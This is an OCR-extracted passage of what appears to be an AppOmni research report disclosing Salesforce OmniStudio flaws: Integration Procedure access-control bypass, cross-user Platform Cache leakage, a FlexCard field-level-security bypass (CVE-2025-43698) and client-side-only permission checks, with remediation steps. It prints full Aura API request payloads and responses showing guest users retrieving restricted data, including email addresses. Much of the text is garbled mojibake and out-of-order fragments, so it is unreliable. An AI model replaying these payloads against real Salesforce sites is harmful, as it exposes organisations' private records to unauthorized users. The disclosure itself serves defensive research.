0 A Response action, this returns the result of the API call to the user who executed the IProc.

(@]

may execute it.

U . ¢CaayB, [abtaoa>YB¢. $Baa¢fYBCzaYal- "a¢. $ae5C¢YY1IBCzaySB, laale 2a>1¢" z

0 The Guest User does not have access to the IProc through Sharing Rules, nordotheysatisfy ¢. $§ae 5¢YY1BCzay<¢B, Taal

Proof - Of-Concept

An unauthenticated session was first established for the Guest User on the Digital Experience. Attempting to execute the IPro Cc using
a similar payload to the one in  Section 5.2.1 resulted in an error as expected, since they do not have permissions.

message=

{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONSexe
cute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore","c
lassname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCont",
“params":{"input":"{}","options":"{\"useFuture\":false,\"chainable\":false,\"
preTransformBundle\":\"\" ,\"postTransformBundle\":\"\",\"useQueueableApexRemo
ting\":false,\"ignoreCache\":false,\"vlcClass\":\"omnistudiocore.IntegrationP
rocedureService\",\"useContinuation\":false}","sClassName":"omnistudio.Integr
ationProcedureService","sMethodName":"MakeCallout_MakeCallout"},"cacheable":f
alse,"isContinuation":false}}]}&aura.context=
%7B%22mode%22%3A%22PR0OD%22%2 (%22 fwuid%22%3A%22eUNJIbjV5czdoejBvR1AS0HpDU1dPd1p
MVExBQkpJS1VFU29Ba3 ImcUNLWLESL jMyMC4y%22%2C%22app%22%3A%22siteforces3Acommuni
tyApp%22%2(%221loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%3Acomm
unityApp%22%3A%221184_AgcTXn_6dZSShHXZ2PZsug%22%7D%2C%22dn%22%3A%5B%5D0%2(%22g
lobals%22%3A%7B%7D%2C%22uad%22%3At rue%7D&aura. pageURI=%2Ftestsite%2Fs%2F&
aura.token=pull

£ AppOmni | Salesforce industry clouds

22 {
“"actions": [
{
“id":"16;a",
"state":"SUCCESS",
"returnValue":{
Yratyurcolalyel .
"{\"IPResult\":{\"error\":\"No Procedure Found with Id 0
Integration Procedure Is Inactive: MakeCallout_MakeCall
t\"},\"error\":\"No Procedure Found with Id Or Integrat
n Procedure Is Inactive: MakeCallout MakeCallout\"}"
cacheable™: Talse

+
"error": [
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A session was then created for a user with the System Administrator Profile on the Digital Experience. The same payload was
executed, and a result was returned since the user passes the required authorization checks.

message=
{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$exe
cute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore","c
lassname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCont",
"params":{"input":"{}","options":"{\"useFuture\":false,\"chainable\":false,\"
preTransformBundle\":\"\",\"postTransformBundle\":\"\",\"useQueueableApexRemo
ting\":false,\"ignoreCache\":false,\"vlcClass\":\"omnistudiocore.IntegrationP
rocedureService\",\"useContinuation\":false}","sClassName":"omnistudio.Integr
ationProcedureService","sMethodName":"MakeCallout_MakeCallout"},"cacheable":f
alse,"isContinuation":false}}]}&aura.context=

Another unauthenticated session was created for the Guest User on the Digital Experience. Re

"returnValue":{
"“returnValue":
"{\"IPResult\":{\"HTTPAction\":¥§'This is a secret API\"
"options\":{\"forceQueueable\":1 =
:null,\"vlcApexResponse\":true,\"useFuture\":false,\"vlcC
lass\":\"omnistudiocore.IntegrationProcedureService\",\"1
sTestProcedure\":false,\"resetCache\":false,\"vlcIPData\"
:null,\"OmniAnalyticsTrackingDebug\":false,\"ignoreCache\
":false,\"shouldCommit\":false,\"vilcTestSuiteUniqueKey\":
null,\"vicTestUniqueKey\":null,\"vlcCacheKey\":null,\"con

-attempting to execute the IProc

results in the API being queried and its response is shown, showing that the access controls were bypassed.

message=
{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$exe
cute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore","c
lassname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCont",
"params":{"input":"{}","options":"{\"useFuture\":false,\"chainable\":false,\"
preTransformBundle\":\"\",\"postTransformBundle\":\"\",\"useQueueableApexRemo
ting\":false,\"ignoreCache\":false,\"vlcClass\":\"omnistudiocore.IntegrationP
rocedureService\",\"useContinuation\":false}","sClassName":"omnistudio.Integr
ationProcedureService","sMethodName":"MakeCallout_MakeCallout"},"cacheable":f
alse,"isContinuation":false}}]}&aura.context=
%7B%22mode%s22%3A%22PR0OD%22%2C%22 fwuid%s22%3A%22eUNJbjV5czdoejBvR1AS0HpDU1dPd1p
MVExBQkpJS1VFU29Ba3 ImcUNLWLESL jMyMC4y%22%2(C%22app%22%3A%22siteforce%s3Acommuni
tyApp%22%2(C%2210oaded%22%3A%7B%22APPLICATION%40markup%3A%2F%2Fsiteforce%s3Acomm
unityApp%22%3A%221184_AgcTXn_6dZSShHXZ2PZsug%22%7D%2(%22dn%22%3A%5B%5D%2(%22g
lobals%22%3A%7B%7D%2(%22uad%22%3Atrue%s7D&aura.pageURI=%2Ftestsite%2Fs%2F&
aura.token=null

Risk

While the risk for Data Mappers is limited to reading data without enforcing FLS, IProcs have a greater list of possible acti

"returnValue":{
"returnvValue":
"{\"IPResult\":{\"HTTPAction\":\"This is a secret API\'[,\
"options\“:{\“forceOueueable\":tﬁTSETT‘mUtRHTTpRESVUHSJ\“
:null,\"vlcApexResponse\":true,\"useFuture\":false,\"vlcC
lass\":\"omnistudiocore.IntegrationProcedureService\",\"1i
sTestProcedure\":false,\"resetCache\":false,\"vlcIPData\"
:null,\"OmniAnalyticsTrackingDebug\":false,\"ignoreCache\
":false,\"shouldCommit\":false,\"vilcTestSuiteUniqueKey\":
null,\"vlicTestUniqueKey\":null,\"vlcCacheKey\":null,\"con
tinuationStepResult\":null,\"postTransformBundle\":\"\",\
"vicFilesMap\":null,\"ParentInteractionToken\":null,\"pre
TransformBundle\":\"\",\"useQueueable\":false,\"disableMe
tadataCache\":false,\"isDebug\":false,\"queueableChainabl
e\":false,\"useContinuation\":false,\"chainable\":false,\
"useHttpCalloutMock\":false,\"useQueueableApexRemoting\":
false}.\"resoonse\":{}.\"HTTPActionStatus\":true.\"Resoon

ons that

they may use. This increas es the possible blast radius in the event they are accessed by those without explicit permissions. For
example, the IProc may perform an unsafe callout to an external APl and return sensitive information to the user.

Recommendation(s)

Unlike the Data Mapper problem which can only be resolved by turning off the Scale Cache,

a security control does exist within

OmniStudio that ensures unauthorized users may not execute IProcs by leveraging an existing metadata definition. To enable it:

1. From Setup , enter Omni Interaction Configuration
Configuration
1. Select New Omni Interaction Configuration

N

3. Click Save.

i ¢c$C04&))jC-ad1>d¢c. CA4yB,
Secure access.

In the Label field, enter CheckCachedMetadataRecordSecurity

fadl. L A~ ¢ §€-c¢cadtdf Yac,

and select Feature Settings > Omni Interaction > Omni Interaction

. Within the Value field, enter true .

2y ¢B.

5.2.5 Improper Use of Platform Cache Leads to Information Disclosure

Overview
IProcs have the ability to cache the results of actions they execute in an effort to improve performance by. This works by re ducing
the need for additional database calls when executions with the same signature (parameters) occur more than once. There are two
ways in which they can cache these results:
1. Top-R¢j ¢~ afsf.1- " "vabp.1f.alaoaa¢-¢t" ¢€zablg¢g. 1- at-aayB, [2aaf ->1"YBtqgl_ - at
effectively wraps the entire procedure in a Cache Block.
2. Cache Blocks are individual elements that can be created within an IProc to contain one or more actions. Any action(s) that a re
executed within the Cache Block will have their results cached.
Regardless of which method is utilized, both Top  -Level caching and Cache Blocks will store and retrieve results using the
VlocityAPIResponse Platform Cache partition. q S AS- z1- "4 - ac¢,. Saayea&fsf[.car" [ e2oaaf ->1"YBtcgl,
Organization segment or Session segment for storage. The primary difference between these is that the Organization segment is
shared by all users on the platform , whereas the Session segment is specific to a single user.
Since the Organization segment is shared by all users and  the results of Data Mapper actions are also stored in the cache , this leads
to an interesting security issue. Take the following example:
1. AnIProc is created that utilizes the Organization segment of the Platform Cache. The purpose of the IProc is to execute a Da ta
§t AACBabP,. 1f].aBScYB- aac,. $aBS¢f] Bzaa, >ac,.¢aef - ctfceaazr €fcac, ac,.SavYa
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https://help.salesforce.com/s/articleView?id=xcloud.os_dataraptor_and_integration_procedure_security_settings_48215.htm&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_dataraptor_and_integration_procedure_security_settings_48215.htm&type=5
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_cache_namespace_overview.htm
https://help.salesforce.com/s/articleView?id=sf.os_cache_for_dataraptors_and_integration_procedures_48057.htm&type=5

and all
ation

2. User A is a privileged user with the ability to read all records from this sObject. They execute the IProc for the first time
of the record data is returned to them. During this process, the IProc stores the output of the Data Mapper to the Organiz

segment of the Cache.

Check Cache o Store F{gcord Data in
e Entry Matching Cache with Cache Key
User Input

o Execute Integration )
Procedure \:\ \
< »! Integration Procedure %\’ > | > o
L J\ S o Fetch Records sObject
o Data Mapper o Validate Al
Extract Action Permissions

Admin User

)
E‘\:E.
o Generate Random Cache Key

3. User B is an unauthorized user in that they do not have any object, field, or record access configured that allows them to re
records from the same sObject. They execute the same IProc but instead of getting an access denied error for the sObject,
¢.GCSa Ccaxeat¢Ba 2 aaguwack.alsaaA ASIBYABBCA Y f¢taYaCAYaCBa 2 aaqgqsctadts AACBABSaY™ «
IP. No authorization checks occur to see if user B can access the sObject, since no live database call was ever performed.

ad

Check Cache
Entry Matching

o Return Record Data from
User Input Cache

v

Procedure

o Execute Integration

Integration Procedure

Unauthorized
User
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One important caveat of this attack is that if the IProc requires user input for a Data Mapper action, the input supplied by

unauthorized user must be the same input

database call is made , and access is denied. | believe this occurs due to user

Practical Demonstration

the

(if any) that was used by a previous executor in order to see their results. Otherwise, a

-input being included as part of the Cache Key.

Setting Up
0 agtctastAACBace| EcBtfceabtaalBSt¢gSzab. 1f,.aBS¢¢YB-aat" " ag¢,
- CaAt Bt  S¢¢BataaYa¢Bal- AYgvaeaaq¢  €¢gCz?*aa>acg,. laa
[ 1- *aa>ae>t" " a¢?2valgaBS¢gYB-aac¢. Cas¢_st1"aa, >atfqgljcaf_ -c¢q¢tfcazs
0 An IProc was created with:

0 A Data Mapper action. This action calls the newly created Data Mapper, with user

0 The Platform Cache Type

(@]

the record, field, or Sharing Rules levels.

were not granted access

-input, and gets the results.

field setto Org Cache with a Time-to-Live (TTL) of 60 minutes.
0 A Response action which returns the results of the Data Mapper to the user.
The Guest User was granted access to the IProc using Sharing Rules. They

to the Contact sObject at

0 As per ,the Guest User does not need to be granted access to the Data Mapper since it is being called through the IProc.

Proof - Of-Concept

A session was established by the System Administrator on the Digital Experience. Using this session, a similar payload as the
shownin Section52.1 Pt adaYa¢zag, aCESIYqgCacg. CaaynB afadgeT € (& is eapacleduiy curasjthe emailsa . >

of all active Contacts.

message=

{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$ex
ecute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore",
"classname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCon
t","params": {"input":"{\"IsDeleted\":false}","options":"{\"useFuture\":false
,\"chainable\":false,\"preTransformBundle\":\"\",\"postTransformBundle\":\"\
",\"useQueueableApexRemoting\":false,\"ignoreCache\":false,\"vlcClass\":\"om
nistudiocore.IntegrationProcedureService\",\"useContinuation\":false}","sCla
ssName":"omnistudio.IntegrationProcedureService","sMethodName":"GetContactEm
ails_GetContactEmails"},"cacheable":false,"isContinuation":false}}]}&
aura.context=

%7B%22mode%22%3A%22PR0OD%22%2(%22 fwuid%22%3A%22eUNJbjV5czdoejBvR1A50HpDU1dPd1
PMVEXBQkpJS1VFU29Ba3 ImcUNLWLESL jMyMC4y%22%2C%22app%22%3A%220ne%s3Aone%s22%2(C%2
2loaded%22%3A%7B%22APPLICATIONSs40markup%3A%2F%s2Fone%3Aone%22%3A%223851_EwnWN
b2qYcJyUNxWyox8LQ%22%7D%2C%22dn%22%3A%5B%5D%2(%22g lobals%22%3A%7B%22density%
22%3A%22VIEW_ONE%22%2C%22appContextId%s22%3A%2206md1000000RZt CAAG%22%7D%2(%22
uad%22%3Atrue%s7D&aura.pageURI=
%2Fone%2Fone.app%23eyljb21wb251bnREZWYi0iJvbmU6YWxvaGFQYWd1IiwiYXROcmlidXR1lc
yI6eyJhZGRyZXNzIjoiaHROCHM6LY90ZXNOZXIOLmxpZ2h@bmluZy5mb3JjZS5jb2@vYXBleC9vb
W5pc3R1ZG1lvX19pbnR1Z3JhdGlvbnByb2N1ZHVYZWR1c2lnbmVyP2x0b19hcHBfaWQIMDZtZDEwM
DAwWMDBSWnRjQUFHINNMZGNIRNJIhbWVIb3N@OPXd1lYiZjbGMOMCZzZmRjSUZyYW11T3IpZ2luPWhod

A new unauthenticated session was created for the Guest User on the Digital Experience. Using this session, the Guest User ex
el- AY¢geajt-  YCag.tcabtaaYaSzarSacg. ¢aljSacg¢_ a
cafsf.¢vagj - ac,

payload with the same

Sac¢. a z_1- TagBt ¢,

Accept—Encoding}'gzip, defiate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Priority: u=1, i

message=

{"actions": [{"id":"16;a","descriptor":"aura://ApexActionController/ACTIONS$ex
ecute","callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore",
"classname":"BusinessProcessDisplayController","method":"GenericInvoke2NoCon
t","params":{"input":"{\"IsDeleted\":false}","options":"{\"useFuture\": false
,\"chainable\":false,\"preTransformBundle\":\"\",\"postTransformBundle\":\"\
",\"useQueueableApexRemoting\":false,\"ignoreCache\":false,\"vlcClass\":\"om
nistudiocore.IntegrationProcedureService\",\"useContinuation\":false}","sCla
ssName" :"omnistudio.IntegrationProcedureService","sMethodName":"GetContactEm
ails_GetContactEmails"},"cacheable":false,"isContinuation":false}}]}&
aura.context=

%7B%22mode%s22%3A%22PR0OD%22%2(C%22 fwuid%s22%3A%22eUNJbjV5czdoe jBvR1AS0HpDU1dPd1
PMVEXBQkpJS1VFU29Ba3 ImcUNLWLESLjMyMC4y%22%2(%22app%22%3A%22siteforce%s3Acommu
nityApp%22%2(C%221loaded%22%3A%7B%22APPLICATION%40markup%3A%2F%s2Fsiteforce%3Ac
ommunityApp%22%3A%221183_iYPVTLE11xgUFVH2RCHXYA%22%7D%2(%22dn%22%3A%5B%5D%2C
%229 lobals%22%3A%7B%7D%2(%22uad%22%3Atrue%7D&aura. pageURI=%2Ftestsite%2Fs%2F
&aura.token=null

B2aaBSay¥Y caa>B,

-

This problem can easily be reproduced using a Cache Block instead of top

a Cache Block element, and configuring the Cache Block to use the

Risk

Users may be able to see data that they are not typically

the Organization segment of the Platform Cache is being used

£ AppOmni | Salesforce industry clouds
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ac.

one

"returnValue":{

"returnValue":

"{\"IPResult\":{\"GetContactEmailsActionStatus\":true,\"
options\":{\"forceQueueable\":false,\"mockHttpResponse\"
:null,\"vicApexResponse\":true,\"useFuture\":false,\"vlc
Class\":\"omnistudiocore.IntegrationProcedureService\",\
"isTestProcedure\":false,\"resetCache\":false,\"vlcIPDat
a\":null,\"OmniAnalyticsTrackingDebug\":false,\"ignoreCa
che\":false,\"shouldCommit\":false,\"vicTestSuiteUniqueK
ey\":null,\"vicTestUniqueKey\":null,\"vlcCacheKey\":null
,\"continuationStepResult\":null,\"postTransformBundle\"
\"\",\"vlcFilesMap\":null,\"ParentInteractionToken\":nu
11,\"preTransformBundle\":\"\",\"useQueueable\": false,\"
disableMetadataCache\":false,\"isDebug\":false,\"queueab
leChainable\":false,\"useContinuation\":false,\"chainabl
e\":false,\"useHttpCalloutMock\":false,\"useQueueableApe

ion\": [{\"Email\":\"manish.kumar2@salesforce.com\"}, {\"H
mail\":\"sidharth.bhatia@salesforce.com\"}, {\"Email\":\'
sidharthbhatia@gmail.com\"}],\"CacheBlockResponseStatus

LLrue, VT Isvetletedy s Talsey, \ erfroryv s\ URN\ ",
ecutes the

Y' . acg.

“returnValue":

"{\"IPResult\":{\"GetContactEmailsActionStatus\":true,\"
options\":{\"forceQueueable\":false,\"mockHttpResponse\"
:null,\"vicApexResponse\":true,\"useFuture\":false,\"vlc
Class\":\"omnistudiocore.IntegrationProcedureService\",\
"isTestProcedure\":false,\"resetCache\":false,\"vlcIPDat
a\":null,\"OmniAnalyticsTrackingDebug\":false,\"ignoreCa
che\":false,\"shouldCommit\":false,\"vicTestSuiteUniqueK
ey\":null,\"vicTestUniqueKey\":null,\"vlcCacheKey\":null
,\"continuationStepResult\":null,\"postTransformBundle\"
\"\",\"vlcFilesMap\":null,\"ParentInteractionToken\":nu
1, \"preTransformBundle\":\"\",\"useQueueable\": false,\"
disableMetadataCache\":false,\"isDebug\":false,\"queueab
leChainable\":false,\"useContinuation\":false,\"chainabl
e\":false,\"useHttpCalloutMock\":false,\"useQueueableApe

ion\": [{\"Email\":\"manish.kumar2@salesforce.com\"}, {\"H
mail\":\"sidharth.bhatia@salesforce.com\"},{\"Email\":\"

sidharthbhatia@gmail.com\"}],\"CacheBlockResponseStatus\

"cacheable": false

-level caching, by placing the Data Mapper action inside of
Organization segment of the Platform Cache.

authorized to see, depending on the permissions of the individual who
executed the IProc before them. While this is bad enough as it stands, this issue may be combined with the
which dramatically increases its severity. If both of these misconfigurations were to exist at the same time,

have the ability to execute IProcs at all could not only execute any IProc of their choice, but also see the results of other

Scale Caching problem
a user that should not
users if
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Recommendation(s)

Since the Organization segment of the Platform Cache is a shared partition by all users, it is unwise to store information th
considered sensitive inside it. Organizations may still benefit from some performance improvements by instead using the
Cache. The Session Cache will not yield the same benefit in terms of speed since each entry is unique to each user, however i
users intentionally or inadvertently accessing data that does not belong to them.

To change the type of cache being used for Top  -Level Caching:

at could be
Session
t avoids

1. From Service Setup , type OmniStudio Integration Procedures into the App Launcher and select OmniStudio Integration

Procedures .

Locate and open the affected IProc.

Within the Structure column, select the Procedure Configuration  element.

Select Create Version .

Within the Procedure Configuration  element and scroll down the Properties menu.
Under Salesforce Platform Cache Type , change Org Cache to Session Cache .
Select Save, and finally select Activate Version

©NOo OR WD

version from the dropdown menu.
9. Select the checkbox to the left of the old IProc.
10. On the right -hand side of the row, select the dropdown menu and choose Deactivate .

To change the type of cache being used for a Cache Block:

Return to the OmniStudio Integration Procedures page and locate the affected IProc again. Click it, and identify the old IProc

11. From Service Setup , type OmniStudio Integration Procedures into the App Launcher and select OmniStudio Integration

Procedures .
12. Locate and open the affected IProc.
13. Within the Structure column, selectthe Procedure Configuration element.
14. Select Create Version .
15. Within the Structure column, selectthe Cache Block element.
16. Under Salesforce Platform Cache Type , change Org Cache to Session Cache .
17. Within the Structure column, selectthe Procedure Configuration element.
18. Select Save, and finally select Activate Version

19. Return to the OmniStudio Integration Procedures page and locate the affected IProc again. Click it, and identify the old IProc

version from the dropdown menu.
20. Select the checkbox to the left of the old IProc.
21. On the right -hand side of the row, select the dropdown menu and choose Deactivate .

5.3 FlexCards

5.3.1 Lack of FLS Enforcement for SOQL Data Source ( CVE-2025 -43698 )

Overview

Flexcards have multiple ways through which they retrieve data from a Salesforce object or external system, but not all are made equal
with respect to security. In particular, the SOQL data source completely bypasses any field -level security when fetching data from

Salesforce objects.

Practical Demonstration

Setting Up
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https://help.salesforce.com/s/articleView?id=sf.os_configure_a_data_source_on_a_flexcard_35864.htm&type=5

Proof - Of-Concept

A session was established for a user with the OS CC Profile on the Digital Experience. Using this session, the following payl oad was
sent:

"actions": [
{
"id": "8;a",
"descriptor": "aura://ApexActionController/ACTION$execute",
"callingDescriptor": "UNKNOWN?",
"params": {
"namespace": "omnistudiocore",
"classname™: "FlexRuntime",
"method": "doEncryptedDatasourceFlex",
"params": {
"globalKey": "ExampleFlexCard/Admin/1.0",
"scope": null,
"actionElementld": null,
"isFileBased": false
3
"cacheable": false,
"isContinuation": false

ada¢C-atr. jSvac.SaCc CEftBz2aa>Y" "~ SayYYt  1>1¢Cza-+t_ Ca_ YacarsS a dj
Name>/<FlexCard Y¢. £ BmZf a¢Bal - adyY_  ¢Bme2al0.l1aa>Y" "~ SavYY:t  1>1¢za-4t_Gaf
f q i

e7 - 1&1fsBz2aazr SfcvaYal- "aelj¢" ¢fc¢tr” SR1agqgbtctyB, j1zS¢Bf -

~

message= "returnValue":{

{"actions": [{"id":"8;a","descriptor":"aura://ApexActionController/ACTION$exe :retﬁrnva¥ue": o . W .
cute”,"callingDescriptor”:"UNKNOWN","params":{"namespace":"omnistudiocore"," A\ att”b“tef’\a'}f\h?zfﬂI;\QEX?TMET:C\ AN AL
classname":"FlexRuntime","method":"doEncryptedDatasourceFlex","params":{"glo rx1C€fﬂdﬂi§iﬁ5 ".‘" ‘"_ = I@VEleﬂﬁ?HEQGXFEAS
balKey":"ExampleFlexCard/Admin/1.0","scope":null,"actionElementId":null,"isF \ ?' Sensitive__c\":\ SE”SItlvevalue‘ A\"Id\":\"a0Vd100
ileBased":false},"cacheable":false,"isContinuation":false}}]}&aura.context= 020@CUXTTEASY 7T

Risk

The ability to bypass the FLS security mechanism can result in the disclosure of sensitive information to unintended parties. The
potential impact of this problem is increased when taking into consideration the issues discussed within the next couple of s ections.

Namely Section 5.3.2 and wherein | discuss access control bypasses and the ability to view encrypted values in plaintext.

Recommendations

Organizations should enable the configuration setting responsible for enforcing FLS for all FlexCards using SOQL queries at t he
organization -wide level.

To enforce FLS for all FlexCards using the SOQL datasource:

1. From Setup , enter Omni Interaction Configuration and select Feature Settings > Omni Interaction > Omni Interaction
Configuration
2. Select New Omni Interaction Configuration

3. For Name and Label, enter EnableQueryWithFLS . For the Value field, enter true .

4. Click Save.
Once done, if an unauthorized user executes a FlexCard that uses the SOQL datasource to retrieve a restricted field, an error will be
returned.
message= ;érror":[
{"actions": [{"id":"8;a","descriptor":"aura://ApexActionController/ACTIONS$execute", {

“"callingDescriptor":"UNKNOWN","params":{"namespace":"omnistudiocore","classname":" "exceptionType":"System.QueryException",
FlexRuntime","method":"doEncryptedDatasourceFlex","params":{"globalKey":"ExampleF1l "isUserDefinedException":false,
exCard/Admin/1.0","scope":null,"actionElementId":null,"isFileBased":false},"cachea . I}

ble":false,"isContinuation":false}}] }&aura.context= I"No such column 'Sensitive__c' on entity 'Example__c'.jIf
%7B%22mode%22%3A%22PR0OD%22%2 (%22 fwuid%22%3A%22QVctNINIa216UjhqVn10bWs4a21Bd2g5TGx i R = 0 P

THU3MEQ5RNBMMOVZzVXc1cmcxMS42zMj c20C42%22%2C%22app%22%3A%22siteforces3AcommunityApp% end the '__c' after the custom field name. Please referen
22%2(%2210aded%22%3A%7B%22APPLICATION%40markup%3A%2F%s2Fsiteforce%s3AcommunityApp%22 ce your WSDL or the describe call for the appropriate nam
%3A%221238_R-TP57s_he@0Js4IR3sWyg%22%7D%2(%22dn%22%3A%5B%50%2(%22globals%22%3A%7B% es.",

7D%2(C%22uad%22%3Atrue%s7D&aura. pageURI=%2F Lpi%2Fs%2F%3Ft%3D1748865681214&aura. token "stackTrace":"(System Code)"
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This behavior has been fixed by Salesforce after | reported it to them, so this behavior is no longer possible , and no action is
required to be taken by 1- z Y a ¢ B Sdugtomersy Zhis 8ection has been kept for historical and educational purposes.

Overview

ZYcalzCa, >alj.+B1- "a53Y CavaC CEftBzaad_  +Sat " a, a.4+jSastzz1¢l, -4~ a&sB_ Taal, -
YSB, laal, - 22a>1¢" za, >a¢ sidenti@GlQi nftld ta tBezsan field prasgnt an HothCIRs Bnd Data Mappers, w ith the

nuance that only a Custom Permission must be used as opposed to a Profile or Permission Set.

But unlike IPs and Data Mappers, the authorization check that ensures a user possesses the necessary Custom Permission is

performed client -side by an Aura -enabled Apex controller as opposed to server  -side. Importantly, the controller performing this
permission check is only run when a FlexCard is executed through the Ul and is entirely separate to the controller used to ex ecute
a FlexCard . Therefore , by directly invoking the FlexCard, the check is never performed

Lightning Page ! :

—> Example FlexCard ; x

FlexCard Does
"""""""""""""""""""""" Not Execute

e Required Permissions Check

______________________________________________________________________________________

+ Aura API
e Fetch Records

o Load via Ul

Unauthorized
User A

A

»| sObject

checkPermission Controller Execute FlexCard .

o Run FlexCard
via AP

Unauthorized
User B

& tYe., BI1TMCzavYaSCBa_,tSal[1BJY,jS-cacg. SaedCyYY1BCzay<e¢B, Taal - a=® at
Practical Demonstration

Setting Up

O«

The Custom Object created within the previous section  was re -used.

0 The OS CC Profile was given read access at the object  -level, but they were not granted permissions ¢, aBStzag¢. €aeljC- alc
field. Sharing Rules were also created so that they may access all records within the object.

0 aC  CEftBzacECCS-al1¢l1jS$C1¢" z2abtaafBStcCzab, 1[.aYY¢B1Caag. ¢afYacg, .
using a SOQL datasource, so FLS is not enforced .

0 TheFlexcard Pt ada S [ YBCzabl¢. at af Yacg, _ ay ¢ Bhich anlg the Systetn Adiministtatprpdssedsasa 1 .- @ vV a

0 The Flexcard was placed on the Digital Experience, for the purpose of showing the client -side access control validation.

Proof - Of-Concept

A session was established for a user with the OS CC Profile on the Digital Experience. When attempting to load the FlexCard i n the Ul
with this session, the following Aura API call was made transparently and automatically in the background. This call was m ade by the
platform to validate that the calling user possessed the necessary Custom Permission.
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https://help.salesforce.com/articleView?id=custom_perms_overview.htm&type=5


















































































